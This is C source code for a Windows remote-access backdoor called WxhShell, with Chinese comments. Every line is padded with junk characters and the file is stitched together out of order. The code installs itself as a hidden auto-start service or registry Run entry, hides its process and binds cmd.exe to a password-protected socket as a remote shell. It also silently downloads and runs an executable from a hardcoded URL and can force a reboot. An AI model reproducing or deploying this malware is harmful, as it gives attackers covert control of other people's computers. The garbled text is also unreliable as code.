    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 723bkJw V  
    else { 3=FZ9>by  
    closesocket(wsh); snf~}:&   
    ExitThread(0); toya fHf  
    } Mc09ES  
    break; 5Iy;oZ  
    } K]s[5  
  // 获取shell 4cabP}gBk  
  case 's': { g`vny)\7/  
    CmdShell(wsh); aT)BR?OYSJ  
    closesocket(wsh); oX S1QT`B  
    ExitThread(0); gQxbi1!;9  
    break; ur$ _  
  } #fM#p+v  
  // 退出 `e}bdj  
  case 'x': { ftvG\Tf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %r%Mlj:#  
    CloseIt(wsh); KxYwJ  
    break; w+#C-&z  
    } a(kg/s  
  // 离开 @SJL\{_  
  case 'q': { tiB_a}5IB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4)h]MOZ  
    closesocket(wsh); )Dw,q~xgg0  
    WSACleanup(); 8\^}~s$$A  
    exit(1); V5sg#|&  
    break; =j5MFX.-o  
        } -Zf@VW,NI  
  } ;aI[=?<x  
  } 6*B19+-  
2N~Fg^xB  
  // 提示信息 ewa wL"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -(bXSBs#  
} 7'Zky2F  
  } KIui(n#/  
=XucOli6  
  return; ej4W{IN~:  
} { QHVo#  
l6YtEHNG  
// shell模块句柄 /^X/8  
int CmdShell(SOCKET sock) y#Fv+`YDl  
{ Xu< k3oD7  
STARTUPINFO si; f&eK|7J_Yf  
ZeroMemory(&si,sizeof(si)); kbTm^y"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f,V<;s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @ezH'y-v  
PROCESS_INFORMATION ProcessInfo; \m7-rV6r  
char cmdline[]="cmd"; Qy^1*j<@&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4L ;% h  
  return 0; WHsgjvh"  
} E*.{=W }C  
e,F1Xi #d  
// 自身启动模式 k9:{9wW  
int StartFromService(void) y.e^hRKb  
{ o<<xY<  
typedef struct 1rv)&tKs  
{ ])|d"[ur=  
  DWORD ExitStatus; %_+2@\  
  DWORD PebBaseAddress; M9V q -U18  
  DWORD AffinityMask; rR9|6l 3  
  DWORD BasePriority; mef<=5t  
  ULONG UniqueProcessId; [5zx17'  
  ULONG InheritedFromUniqueProcessId; T&%ux=Jt  
}   PROCESS_BASIC_INFORMATION; Kqp(%8mf  
G;v8$)Zj  
PROCNTQSIP NtQueryInformationProcess; #33fGmd[  
jhXkSj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q<h-FW8z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yaah*1ip[  
9K5pwC\$%  
  HANDLE             hProcess; ),UX4%K=  
  PROCESS_BASIC_INFORMATION pbi; Gb8D[1=u=  
r\b3AKrIN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u.mJQDTH  
  if(NULL == hInst ) return 0; jNLw=  
Av xfI"sp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3HLNCt09  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (g[h 8 c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BGOuDKz9C  
J8S'/y(LE<  
  if (!NtQueryInformationProcess) return 0; ap&?r`Tu  
i=i(%yQ%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #JgH}|&a$  
  if(!hProcess) return 0; W%T>SpFl  
73V|6tmgY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q}~3C1  
?&|5=>u2}$  
  CloseHandle(hProcess); \R|4( +]x  
HG+%HUO$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]bj&bk#  
if(hProcess==NULL) return 0; .q `Hjmg<  
Xe<sJ. &Wf  
HMODULE hMod; -R57@D>j\  
char procName[255];  Fy`(BF\  
unsigned long cbNeeded; iz8Bf;  
~i~7 n a|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E=e*VEjy  
l^|UCgRn  
  CloseHandle(hProcess); Sz^ veh?  
@\|_  
if(strstr(procName,"services")) return 1; // 以服务启动 R_sr?V|"  
`8^TTQ  
  return 0; // 注册表启动 CjlKMbnBH  
} h3bff#<K  
.2%zC & ;  
// 主模块 jUSmq m'  
int StartWxhshell(LPSTR lpCmdLine) Y( 3Bp\6  
{ 99:C"`E{  
  SOCKET wsl; n` xR5!de  
BOOL val=TRUE; &d"G/6  
  int port=0; .WPV dwV4U  
  struct sockaddr_in door; =R#Qx,  
M[6:p2u  
  if(wscfg.ws_autoins) Install(); {$R' WXVs  
IB[)TZ2m  
port=atoi(lpCmdLine); i'9vL:3  
~~v3p>zRr  
if(port<=0) port=wscfg.ws_port; ?Lyxw]  
Q^ pmQ  
  WSADATA data; lTd #bN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x 7~r,x(xM  
rW+ =,L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H-~6Z",1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QA<Jr5Ys  
  door.sin_family = AF_INET; +pR[U4$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kuol rfGB  
  door.sin_port = htons(port); ;?8_G%va  
tS|(K=$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fjU8gV  
closesocket(wsl); $lLz 3YS  
return 1; 'R c,Mq'  
} lEhk'/~  
R $&o*K`?  
  if(listen(wsl,2) == INVALID_SOCKET) { *Eo?k<:zPm  
closesocket(wsl); Pb?$t  
return 1; oJ4 AIQjB  
} @&1ZB6OCb:  
  Wxhshell(wsl); "br,/Dk>MX  
  WSACleanup(); w,h`s.AN  
|962G1.  
return 0; ]`kmjn  
!Cr(P e]  
} $4/yZaVb  
MhR:c7,  
// 以NT服务方式启动 *.!Np9l,V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S,Xnzrz  
{ ?)u@Rf9>  
DWORD   status = 0; dYL"h.x  
  DWORD   specificError = 0xfffffff; m06ALD_  
C}_ ojcR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ptU \[Tq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~} ,=OF-b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P*I}yPeb  
  serviceStatus.dwWin32ExitCode     = 0; EL(nDv  
  serviceStatus.dwServiceSpecificExitCode = 0; 1IZ3=6  
  serviceStatus.dwCheckPoint       = 0; MBqt&_?K  
  serviceStatus.dwWaitHint       = 0; y *fDwd~  
fp+gyTnd3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H[S%J3JI  
  if (hServiceStatusHandle==0) return; qYlhlHD  
T~Gvp0r}h  
status = GetLastError(); U-R6xxPZ  
  if (status!=NO_ERROR) `QyO`y=?[Y  
{ {&\jW!&n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =5kY6%E7c  
    serviceStatus.dwCheckPoint       = 0; Mz~M3$$9n  
    serviceStatus.dwWaitHint       = 0; OoA|8!CFa  
    serviceStatus.dwWin32ExitCode     = status; aFS,GiB  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~c %hWt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kic/*v\6@  
    return; YgUvOyaQXf  
  } 5 u*-L_  
Jo@|"cE=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4:r!|PJn{G  
  serviceStatus.dwCheckPoint       = 0; HbXPok  
  serviceStatus.dwWaitHint       = 0; |Z=^`J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qI~xlW  
} Tl2C^j  
@wE5S6! B\  
// 处理NT服务事件,比如:启动、停止 (X?%^^e!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4}4Pyjh  
{ A29gz:F(  
switch(fdwControl) |j#C|V%kV  
{ 1 D<_N  
case SERVICE_CONTROL_STOP: J"=vE=  
  serviceStatus.dwWin32ExitCode = 0; ^yyC [Mz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wtH? [>S;)  
  serviceStatus.dwCheckPoint   = 0; (2:/8\_P  
  serviceStatus.dwWaitHint     = 0; UN]f"k&  
  { /.Ww6a~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r[lF<2&*R  
  } E|6VX4`+  
  return; aVK3?y2  
case SERVICE_CONTROL_PAUSE: D"ND+*Q [X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b\-&sM(W"  
  break; f] J M /  
case SERVICE_CONTROL_CONTINUE: K }Vv4x1U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FRg^c kb"  
  break; l}] t~!X=  
case SERVICE_CONTROL_INTERROGATE: 5[* qi?w=  
  break; v?& -xH-S  
}; %jJ>x3$F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9hOJvQ2U]  
} %we u 1f  
J|w\@inQ  
// 标准应用程序主函数 V>A .iim  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -Xxqm%([71  
{ pXJpK@z  
n#wI@W >%+  
// 获取操作系统版本 .zn;:M#T  
OsIsNt=GetOsVer(); Db;G@#x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YRh  B RE  
Y6Lf@}2(i  
  // 从命令行安装 (fCXxyZrr  
  if(strpbrk(lpCmdLine,"iI")) Install(); mo[Zb0>  
B, TB3 {  
  // 下载执行文件 WXmn1^"kK}  
if(wscfg.ws_downexe) { vfq%H(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HA2k [F@3^  
  WinExec(wscfg.ws_filenam,SW_HIDE); , ]+z)   
} \hM|(*DL  
Bc6|n :;u  
if(!OsIsNt) { }RwSp!}C  
// 如果时win9x,隐藏进程并且设置为注册表启动 S%yd5<%_  
HideProc(); a^=-Mp  
StartWxhshell(lpCmdLine); 3WUTI(  
} ~Uxsn@nLr  
else uoXAQ6k  
  if(StartFromService()) L7V G`h;  
  // 以服务方式启动 \>7^f 3m  
  StartServiceCtrlDispatcher(DispatchTable); O }(VlR2  
else ^V#@QPK9  
  // 普通方式启动 lsy?Ac  
  StartWxhshell(lpCmdLine); GQ9\'z#+  
7D!u1?]d{  
return 0; KN7n@$8YM  
} %oq[,h <X  
*X, /7C   
@ ]/AjjLt  
%Mk0QKzUo  
=========================================== /ew Ukc8,  
}w1~K'ck}>  
QoG cWJ  
1;mW,l'`  
8[J}CdS  
/ig:9R  
" Um: Hrjw  
dO4{|(z  
#include <stdio.h> AiK  
#include <string.h> jSwf*u  
#include <windows.h>  \o/n  
#include <winsock2.h> uU:CR>=AKW  
#include <winsvc.h> <oo  
#include <urlmon.h> '*?WU_L(g  
-*m+(7G\  
#pragma comment (lib, "Ws2_32.lib") FxVZ[R  
#pragma comment (lib, "urlmon.lib") kn>$lTHQ  
8`fjF/  
#define MAX_USER   100 // 最大客户端连接数 $`- 4Ax4%  
#define BUF_SOCK   200 // sock buffer =Q[b'*o7  
#define KEY_BUFF   255 // 输入 buffer Nqrmp" ]  
1f8GW  
#define REBOOT     0   // 重启 hWT[L.>k  
#define SHUTDOWN   1   // 关机 A _XhuQB;d  
MHsc+gQiz  
#define DEF_PORT   5000 // 监听端口 iTV) NsC}  
$pFo Rv  
#define REG_LEN     16   // 注册表键长度 Q~j`YmR|  
#define SVC_LEN     80   // NT服务名长度 XLH+C ]pfr  
vsr[ur[eP  
// 从dll定义API cg*)0U-_(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a(v>Q*zNP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !}r% u."  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NN1$'"@NL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6+KHQFb&N  
 R#DwF,  
// wxhshell配置信息 5GPo*Qpl  
struct WSCFG { >$,y5 AJ&  
  int ws_port;         // 监听端口 N1}={yF.fQ  
  char ws_passstr[REG_LEN]; // 口令 Vw&HVo  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8WXJ.  
  char ws_regname[REG_LEN]; // 注册表键名 yNqe8C,>e  
  char ws_svcname[REG_LEN]; // 服务名 +C(/ Lyo}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EB_NK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d R]Q$CJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o`q_wdy?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YcN!T"w J@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C,pJ`:P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '^FGc  
lME)?LOI  
}; zdEPDd B  
A6pjRxg  
// default Wxhshell configuration y:v xE8$Q  
struct WSCFG wscfg={DEF_PORT, DANw1 _X\  
    "xuhuanlingzhe", (<Th=Fns?  
    1, =pk)3<GwF  
    "Wxhshell", <@Fy5k-%.  
    "Wxhshell", v !FMs<  
            "WxhShell Service", {s_+?<l  
    "Wrsky Windows CmdShell Service", Gsc\/4Wx  
    "Please Input Your Password: ", Z+StB15  
  1, 3:f[gV9K  
  "http://www.wrsky.com/wxhshell.exe", m~D&gGFt  
  "Wxhshell.exe" nYt/U\n!  
    }; a /:@"&Y  
bgK<pi)d  
// 消息定义模块 |-CnT:|o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "/nNM{^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !E-Pa5s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3^Q]j^e4Ny  
char *msg_ws_ext="\n\rExit."; UD)e:G[Gat  
char *msg_ws_end="\n\rQuit."; PGARXw+  
char *msg_ws_boot="\n\rReboot...";  ^_%kE%I  
char *msg_ws_poff="\n\rShutdown..."; j* *s^Sg  
char *msg_ws_down="\n\rSave to "; vUnRi=:|  
if]Noe  
char *msg_ws_err="\n\rErr!"; gt7VxZ  
char *msg_ws_ok="\n\rOK!"; v (2GX  
DS%\SrC  
char ExeFile[MAX_PATH]; /De^  
int nUser = 0; @5[kcU>  
HANDLE handles[MAX_USER]; ]Y| 9?9d  
int OsIsNt; s#S%#LM  
vc]cNz:mQ  
SERVICE_STATUS       serviceStatus; Y&^P"Dw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1 `7<2w  
E3*\ ^Q_  
// 函数声明 ,~);EC=`  
int Install(void); XJ0oS32_wK  
int Uninstall(void); CY& hIh~S@  
int DownloadFile(char *sURL, SOCKET wsh); ]D!k&j~P  
int Boot(int flag); "9bN+1[<  
void HideProc(void); 9P<[7u  
int GetOsVer(void); _"%B7FK  
int Wxhshell(SOCKET wsl); zA;@@)hwR  
void TalkWithClient(void *cs); XZ/[v8  
int CmdShell(SOCKET sock); N|Sf=q?Ko  
int StartFromService(void); <soz#}e  
int StartWxhshell(LPSTR lpCmdLine); S i nl  
~WpGf,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n3`&zY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SgEBh  
tL+OCLF;  
// 数据结构和表定义 :~ A%#  
SERVICE_TABLE_ENTRY DispatchTable[] = z 8*8OWM  
{ KnNh9^4"\2  
{wscfg.ws_svcname, NTServiceMain}, }rdIUlVO\  
{NULL, NULL} c0Dmq)HK?  
}; kpI{KISQu  
\M"UmSB o  
// 自我安装 4W#E`9 6u  
int Install(void) 6ITLGA  
{ *E~VKx1  
  char svExeFile[MAX_PATH]; 5eA8niq#  
  HKEY key; u<n`x6gL  
  strcpy(svExeFile,ExeFile); JNFIT;L  
BvU"4d;x  
// 如果是win9x系统,修改注册表设为自启动 P &)1Rka  
if(!OsIsNt) { 1'4J[S\cM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =5s F"L;b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %G@5!|J  
  RegCloseKey(key); 6st^4S5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $^tv45  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vwr74A.g0  
  RegCloseKey(key); {@u<3 s  
  return 0; XIWm>IQ[)  
    } o."rxd  
  } Sc]P<F7N]  
} 2Nj9U#A  
else { [Lp,Hqi5  
^MmC$U^n  
// 如果是NT以上系统,安装为系统服务 %Z8vdU#l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M]-VHI[&W  
if (schSCManager!=0) K{l5m{:%  
{ S }>n1F_  
  SC_HANDLE schService = CreateService cMzkL%  
  ( M/*NM= -a  
  schSCManager, ^<0IB#dA  
  wscfg.ws_svcname, dP>w/$C}  
  wscfg.ws_svcdisp, .]|Zf!>}s  
  SERVICE_ALL_ACCESS, k?VQi5M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x>~p;z#VX  
  SERVICE_AUTO_START, kHJ96G  
  SERVICE_ERROR_NORMAL, "*7C`y5&P  
  svExeFile, PVa o  
  NULL, $A$@|]}p  
  NULL, = c~I .  
  NULL, 2>\\@ 1  
  NULL, _B,_4}  
  NULL n$2RCQ  
  ); Bfd-:`Jk  
  if (schService!=0) Vdn.)ir~P  
  { nB5Am^bP  
  CloseServiceHandle(schService); P=H+ #  
  CloseServiceHandle(schSCManager); T ^JuZG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zwe[_z!*D  
  strcat(svExeFile,wscfg.ws_svcname); 50a\e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~k'V*ERNSj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (RXS~8  
  RegCloseKey(key); {Ts:ZI+ 8d  
  return 0; ^^(<c,NX#M  
    } ;5 <-)  
  } tLcEl'Eo  
  CloseServiceHandle(schSCManager); 0>!/rR7  
} WP-jtZ?!"  
} A6ewdT?>,  
,f: jioY  
return 1; ]#<  
} s>z2  k  
oj}"H>tTp  
// 自我卸载 _eLVBG35z  
int Uninstall(void) !k~z5z'=py  
{ zzvlI66e  
  HKEY key; AV@\ +0  
%B EC] h  
if(!OsIsNt) { 9e<Zgr?N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ][Y^-Ak1  
  RegDeleteValue(key,wscfg.ws_regname); SvK1.NUa  
  RegCloseKey(key); ke/_k/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W'_/6_c$!  
  RegDeleteValue(key,wscfg.ws_regname);  r@T| e  
  RegCloseKey(key); Su8'$CFz$.  
  return 0; f|xLKcOP  
  } =hw^P%Zn  
} /hdf{4  
} 4FA|[An  
else { [V@yRWI  
"7?js $  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1a9w(X  
if (schSCManager!=0) MB:n~>ga  
{ M@?"t_e1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q:S\0cI0  
  if (schService!=0) p27p~b&  
  { GYgWf1$8_D  
  if(DeleteService(schService)!=0) { PW_`qP:  
  CloseServiceHandle(schService); Sa] mm/ G  
  CloseServiceHandle(schSCManager); R'EW7}&  
  return 0; KR3-Hb4  
  } 8wi A  
  CloseServiceHandle(schService); ]+IVSxa!u  
  } X Usy.l/  
  CloseServiceHandle(schSCManager);  3t  
} Zd>ZY,-5  
} !cCg/  
_hoAW8i  
return 1; w67x l  
} +)-d_K.(k  
-Uf4v6A  
// 从指定url下载文件 Tcs3>lJ}   
int DownloadFile(char *sURL, SOCKET wsh) v_-ls"l  
{ >5i?JUZ  
  HRESULT hr; +-HE '4mo  
char seps[]= "/"; Cnur"?w@o  
char *token; 3#9M2O\T  
char *file; ~'f8L #[M  
char myURL[MAX_PATH]; 3@X|Gs'_S  
char myFILE[MAX_PATH]; %)IrXz>Zh  
d2ofxfpg+  
strcpy(myURL,sURL); P`!Ak@N  
  token=strtok(myURL,seps); 9`&77+|;e  
  while(token!=NULL) bD@@tGr;W  
  { Orc>.~+f%A  
    file=token; {@\/a  
  token=strtok(NULL,seps); A}eOR=E  
  } ocP*\NR  
~}%&p& p  
GetCurrentDirectory(MAX_PATH,myFILE); L`[F~$|  
strcat(myFILE, "\\"); *'^:S#=  
strcat(myFILE, file); 7S2c|U4IM  
  send(wsh,myFILE,strlen(myFILE),0); N K"%DU<  
send(wsh,"...",3,0); [Ye5Y?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~D!ESe*=  
  if(hr==S_OK) 8Xk Ik7  
return 0; Lnx2xoNk  
else 2^bgC~2C1  
return 1; ./!KE"!  
^=#!D[xj>  
} q/J3cXa{K  
(v|`LmV  
// 系统电源模块  f }-v  
int Boot(int flag) "sIN86pCs  
{ ypT9 8  
  HANDLE hToken; &O{t^D)F  
  TOKEN_PRIVILEGES tkp; d:3= 1x  
.ftUhg  
  if(OsIsNt) { J<-Fua^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WV~SL/k|   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HtS#_y%(  
    tkp.PrivilegeCount = 1; M[vCpa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _pW 'n=}R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @_uFX!;  
if(flag==REBOOT) { }Y$VB%&Hy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W#Cq6N  
  return 0; }amE6  
} *hl<Y,W(  
else { =KW|#]RB^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4= $!_,.  
  return 0; jM;d>Gymx  
} -sD:+Te  
  } !z.^(Tj  
  else { xF^r`  
if(flag==REBOOT) { wISzT^RS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }(rzH}X@  
  return 0; j~Ff/ O  
} 6z`8cI+LRw  
else { ]d~MEa9Y|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7Fc |  
  return 0; wtUG^hV #_  
} 3_@G{O)e  
} .1%i`+uZ  
TR_(_Yd?36  
return 1; R3cG<MjmK  
} 0Mq6yu^  
hAYQ6g$A  
// win9x进程隐藏模块 &,Uc>L%m  
void HideProc(void) RDJ82{  
{ np&HEh 6  
5Wj5IS/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }cyq'm i  
  if ( hKernel != NULL ) r}Q@VS% %  
  { VN!^m]0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 00R%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ir"* iL=  
    FreeLibrary(hKernel); =I{S;md  
  } uJ7,rq  
:nTkg[49pJ  
return; )8\Z=uC  
} &8.z$}m  
ta2z  
// 获取操作系统版本 g9! d pP  
int GetOsVer(void) %9cqJ]S  
{ r]xdhR5  
  OSVERSIONINFO winfo; s' _$j$1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "F04c|oR<X  
  GetVersionEx(&winfo); FUH *]U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v UJ sFR  
  return 1; 5 ,g$|,Shv  
  else `<bCq\+`  
  return 0; =]6_{#Z<  
} D_]i/ F%  
vs* _;vx  
// 客户端句柄模块 Pau&4h0  
int Wxhshell(SOCKET wsl) p3i qW,[@  
{ ;o&_:]S  
  SOCKET wsh; I]s:Ev[~  
  struct sockaddr_in client; t,UW&iLK  
  DWORD myID; cC*zj \O  
\0xzBs1!  
  while(nUser<MAX_USER) %Td+J`|U+  
{ oo"JMD)  
  int nSize=sizeof(client); ntd ":BKi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nj"_sA p  
  if(wsh==INVALID_SOCKET) return 1; ZzSJm+&'  
`1DU b7<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *T1L )Cp  
if(handles[nUser]==0) 9$}+-Z  
  closesocket(wsh); axt6u)4%7:  
else k0Oc,P`'*  
  nUser++; Va&KIHw  
  } m^(E:6T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zhD`\&G.  
6oe$)iV  
  return 0; ~W5>;6f\  
} m|g$'vjk  
% DHP  
// 关闭 socket $Ykp8u,(  
void CloseIt(SOCKET wsh) U* c{:K-C  
{ jFK9?cLT  
closesocket(wsh); uT@8 _9  
nUser--; xQcMQ{&;  
ExitThread(0); b3jU~L$  
} }6b7a1p  
5[0l08'D  
// 客户端请求句柄 `3H?*\<(  
void TalkWithClient(void *cs) *&~sr  
{ Bil;@,Z#  
M]pel\{M  
  SOCKET wsh=(SOCKET)cs; X,Q 6  
  char pwd[SVC_LEN]; c>%z)uY>/  
  char cmd[KEY_BUFF]; NiU tH  
char chr[1]; /61ag9pN  
int i,j; gPn%`_d5  
4B%5-VQ  
  while (nUser < MAX_USER) { 8=b{'s^^F  
A@lhm`Aa  
if(wscfg.ws_passstr) { ACMpm~C8Gu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8O}A/*1FJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &)/H?S;yN  
  //ZeroMemory(pwd,KEY_BUFF); 3w6J V+?  
      i=0; `"1{Sx.  
  while(i<SVC_LEN) { -6*OF.Ag`  
lu9Ir>c  
  // 设置超时 U(=f5|-  
  fd_set FdRead; (&a3v  
  struct timeval TimeOut; \5v=pDd4g  
  FD_ZERO(&FdRead); cfQh  
  FD_SET(wsh,&FdRead); } r\SP3  
  TimeOut.tv_sec=8; ,T1XX2? :  
  TimeOut.tv_usec=0; ~P_d0A~T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /(z0I.yE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EUYa =-  
lFzQG:k@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lMI ix0sSj  
  pwd=chr[0]; d(dw]6I6  
  if(chr[0]==0xd || chr[0]==0xa) { g~WNL^GGS  
  pwd=0; b{ubp  
  break; S|Ij q3  
  } NUO,"Bqq  
  i++; FcbA)7dD  
    } 2e D\_IW  
S{r)/ ~/  
  // 如果是非法用户,关闭 socket 9-e[S3ziM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <o"D/<XnB3  
} hr 6LB&d_  
It,n +A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T(fR/~:z?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PSrt/y!  
:[ZC-hc\  
while(1) { bC,M&<N  
>?uH#%C5  
  ZeroMemory(cmd,KEY_BUFF); uk>/I l  
k%4A::=  
      // 自动支持客户端 telnet标准   QY CNO#*  
  j=0; P*qNRP%  
  while(j<KEY_BUFF) { |SXMu_w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [laL6  
  cmd[j]=chr[0]; WRU@i;l  
  if(chr[0]==0xa || chr[0]==0xd) { MjF.>4  
  cmd[j]=0; R4J>M@-0v  
  break; qjRiTIp9q  
  } Ot:\h  
  j++; y^+[eT&  
    } VAB&&AL  
h"Yqm"U/  
  // 下载文件 N#6A>  
  if(strstr(cmd,"http://")) { H)}1xQ{3F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _bV=G#qKK  
  if(DownloadFile(cmd,wsh)) H?r;S 5)c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *#{.\R-D  
  else 4) I/\  
